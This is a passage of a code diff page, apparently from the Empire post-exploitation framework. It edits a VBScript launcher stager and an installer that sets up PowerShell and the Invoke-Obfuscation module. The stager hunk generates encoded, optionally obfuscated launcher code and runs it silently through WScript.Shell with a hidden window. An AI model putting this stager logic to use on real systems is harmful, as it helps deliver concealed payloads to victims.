obfuscateScript = False
|
||||
if obfuscate.lower() == "true":
|
||||
obfuscateScript = True
|
||||
if "launcher" in obfuscateCommand.lower() and "ps" not in obfuscateCommand.lower():
|
||||
print helpers.color("[!] Only 'PS' Invoke-Obfuscation Launcher is currently support for launcher_vbs")
|
||||
return ""
|
||||
|
||||
# generate the launcher code
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
|
||||
|
@ -103,7 +106,7 @@ class Stager:
|
|||
else:
|
||||
code = "Dim objShell\n"
|
||||
code += "Set objShell = WScript.CreateObject(\"WScript.Shell\")\n"
|
||||
code += "command = \""+launcher.replace("'", "\\'")+"\"\n"
|
||||
code += "command = \""+launcher.replace("\"", "\"+Chr(34)+\"")+"\"\n"
|
||||
code += "objShell.Run command,0\n"
|
||||
code += "Set objShell = Nothing\n"
|
||||
|
||||
|
|
|
@ -53,28 +53,14 @@ elif lsb_release -d | grep -q "Kali"; then
|
|||
pip install pyinstaller
|
||||
pip install zlib_wrapper
|
||||
pip install netifaces
|
||||
if ! which powershell > /dev/null; then
|
||||
if uname -a | grep -q amd64; then
|
||||
wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu52_52.1-3_amd64.deb
|
||||
wget http://ftp.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
|
||||
dpkg -i libicu52_52.1-3_amd64.deb
|
||||
dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
|
||||
rm libicu52_52.1-3_amd64.deb
|
||||
rm libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
|
||||
elif uname -a | grep -q i386; then
|
||||
wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu52_52.1-3_i386.deb
|
||||
wget http://ftp.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_i386.deb
|
||||
dpkg -i libicu52_52.1-3_i386.deb
|
||||
dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_i386.deb
|
||||
rm libicu52_52.1-3_i386.deb
|
||||
rm libssl1.0.0_1.0.1t-1+deb8u6_i386.deb
|
||||
fi
|
||||
if [ ! which powershell > /dev/null ] && [ ! which pwsh > /dev/null ]; then
|
||||
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
|
||||
curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
|
||||
apt-get update
|
||||
apt-get install -y powershell
|
||||
fi
|
||||
apt-get install -y powershell
|
||||
if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then
|
||||
rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY
|
||||
|
||||
fi
|
||||
mkdir -p /usr/local/share/powershell/Modules
|
||||
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
|
||||
|
@ -94,7 +80,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
|
|||
pip install pyinstaller
|
||||
pip install zlib_wrapper
|
||||
pip install netifaces
|
||||
if ! which powershell > /dev/null; then
|
||||
if [ ! which powershell > /dev/null ] && [ ! which pwsh > /dev/null ]; then
|
||||
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
|
||||
if lsb_release -r | grep -q "14.04"; then
|
||||
curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
|
||||
|
@ -102,7 +88,9 @@ elif lsb_release -d | grep -q "Ubuntu"; then
|
|||
curl https://packages.microsoft.com/config/ubuntu/16.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
|
||||
fi
|
||||
apt-get update
|
||||
apt-get install -y powershell
|
||||
fi
|
||||
apt-get install -y powershell
|
||||
if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then
|
||||
rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY
|
||||
fi
|
||||
mkdir -p /usr/local/share/powershell/Modules
|
||||
|
@ -124,31 +112,15 @@ else
|
|||
pip install zlib_wrapper
|
||||
pip install netifaces
|
||||
pip install M2Crypto
|
||||
if ! which powershell > /dev/null; then
|
||||
if lsb_release -d | grep -q Debian | grep 9; then
|
||||
if uname -a | grep -q amd64; then
|
||||
wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu52_52.1-3_amd64.deb
|
||||
wget http://ftp.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
|
||||
dpkg -i libicu52_52.1-3_amd64.deb
|
||||
dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
|
||||
rm libicu52_52.1-3_amd64.deb
|
||||
rm libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
|
||||
elif uname -a | grep -q i386; then
|
||||
wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu52_52.1-3_i386.deb
|
||||
wget http://ftp.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_i386.deb
|
||||
dpkg -i libicu52_52.1-3_i386.deb
|
||||
dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_i386.deb
|
||||
rm libicu52_52.1-3_i386.deb
|
||||
rm libssl1.0.0_1.0.1t-1+deb8u6_i386.deb
|
||||
fi
|
||||
fi
|
||||
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
|
||||
curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
|
||||
apt-get update
|
||||
apt-get install -y powershell
|
||||
rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY
|
||||
if [ ! which powershell > /dev/null ] && [ ! which pwsh > /dev/null ]; then
|
||||
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
|
||||
curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
|
||||
apt-get update
|
||||
fi
|
||||
apt-get install -y powershell
|
||||
if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then
|
||||
rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY
|
||||
fi
|
||||
|
||||
mkdir -p /usr/local/share/powershell/Modules
|
||||
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
|
||||
fi
|
||||
|
|
Loading…
Reference in New Issue